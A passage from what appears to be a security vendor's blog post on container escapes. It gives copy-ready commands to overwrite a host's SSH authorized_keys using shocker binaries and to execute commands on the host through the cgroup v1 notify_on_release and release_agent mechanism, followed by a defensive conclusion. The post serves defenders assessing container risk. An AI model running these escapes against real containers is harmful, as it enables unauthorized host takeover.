(unprivileged) ssh @ # Elevate privileges to root user with the new password su Note: we chose to escape using the new unprivileged user and later elevate the permissions to root on the host, to include cases where the "PermitRootLogin" option is set to "no" in the sshd_config file. Option 2 - override user's authorized keys: [Click to copy]# Generate new ssh key ssh-keygen # Copy and paste the shocker.c content vim shocker.c gcc -o read shocker.c # Copy and paste the shocker_write.c content vim shocker_write.c gcc -o write shocker_write.c # Use the ./read to read files from host: ./read /host/path /container/path ./read ~/.ssh/authorized_keys authorized_keys # Copy the new ssh public key # Remove the 'authorized_keys' content and paste the public key vim authorized_keys # Use the ./write to write files from host: ./write /host/path ./write ~/.ssh/authorized_keys authorized_keys # Connect to host over ssh ssh -i @ 7. Abusing notify on release Escape description Cgroups (control groups) is a kernel feature that allows for resource allocation and management in Linux systems. Cgroups are virtual filesystems that contain some files which describe the cgroups and their limits. Cgroups version 1 includes the file 'notify_on_release' that can contain 1 or 0. If the 'notify_on_relesae' is enabled (contains 1), when the last task in the cgroup leaves, the kernel executes the command specified in 'release_agent' file. In the next technique, inspired by Felix Wilhelm, we will use this functionality to execute arbitrary commands on the host. Vulnerable Container and host requirements * Minimal required Linux capabilities: SYS_ADMIN, DAC_OVERRIDE. SYS_ADMIN capability allows to execute the 'mount' command and DAC_OVERRIDE capability allows to write files on the container's host. * Required container's host setup: The container's host should have kernel version that uses cgroups version 1. TIP: you can check the container's host cgroups version by executing the following command: [Click to copy]mount | grep '^cgroup' | awk '{print $5}' | uniq Commands to setup a vulnerable container [Click to copy]docker run -it --cap-drop=ALL --cap-add=SYS_ADMIN --cap-add=DAC_OVERRIDE --security-opt apparmor=unconfined ubuntu:16.04 bash Click for extra capabilities command [Click to copy]docker run -it --cap-drop=ALL --cap-add=SYS_ADMIN --cap-add=DAC_OVERRIDE --cap-add=SETGID --cap-add=SETUID --cap-add=CHOWN --cap-add=FOWNER --security-opt apparmor=unconfined ubuntu:16.04 bash Note: AppArmor protection disables 'mount' operation even if the SYS_ADMIN capability is assigned to container process. Thus, we disable AppArmor during a vulnerable container creation. TIP: You can see which AppArmor profile, if any, applies to container's process by inspecting the '/proc/$$/attr/current' file. Commands to escape the container [Click to copy]# create /tmp/cgrp, mount RDMA cgroup controller into it and create child cgroup mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x # Enable the notify_on_release flag echo 1 > /tmp/cgrp/x/notify_on_release # Define host_path parameter with the container path on host host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` # Define path in release_agent which execute when all a cgroup tasks are done. echo "$host_path/cmd" > /tmp/cgrp/release_agent echo '#!/bin/sh' > /cmd echo "ps aux > $host_path/output" >> /cmd Conclusion In today's ever-evolving digital landscape, container escapes continue to pose a significant threat to container security. As containers have become the preferred choice for application deployments, it is crucial to stay informed about the various techniques used to breach container boundaries. Through this post, we have delved into seven common container escape techniques, shedding light on the essential configurations and minimal Linux capabilities required for each method. By providing this knowledge, we empower container operators to assess the vulnerability of their containers and determine the most effective protective measures. Remember, container escapes can allow unauthorized access and compromise the integrity of applications and systems. By understanding and addressing these risks, we can fortify our container environments and ensure the security and reliability of our applications. Panoptica blog [AWS_REINVE] [46c9824938] Shweta Khare Tuesday, Nov 21st, 2023 Cloud Native Security Cloud-Native Application Security Cloud Native Security Fortified: Panopti... [AmazonAPI_] [33] Meenakshi Kaushik Tuesday, Nov 21st, 2023 API Security Cloud Native Security Cloud-Native Application Security +1 Secure incoming Amazon API Gateway traff... [CREA-141-p] [6-150x150] Rami H. Thursday, Oct 19th, 2023 API Security Introducing the Panoptica Cloud Security... [shuttersto] [IMG_0253-1] Jan Schulte Thursday, Oct 12th, 2023 Cloud Native Security Cloud Security Container Security Vulnerability Management +2 Thought your Node.js latest Docker image... Watch Video Watch overview (1:15) Schedule demo icon Schedule Demo x x x Panoptica Follow us on: * twitter logo * LinkedIn Icon ABOUT US * Contact * Careers * Our Team * Cisco.com QUICK START * Demo * Why Choose Panoptica SOLUTIONS * Cloud Native Application Security Solution * Code & CI/CD Security * Cloud Workload Protection * Attack-Path Analysis * Cloud Security Posture Management * API Security RESOURCES * Blog * Webinars and Videos * Events * Documentation * eBooks and Whitepapers * Academy (c) 2023 Cisco Systems, Inc. * Help * Terms & Conditions * Cookies * Privacy Statement * Trademarks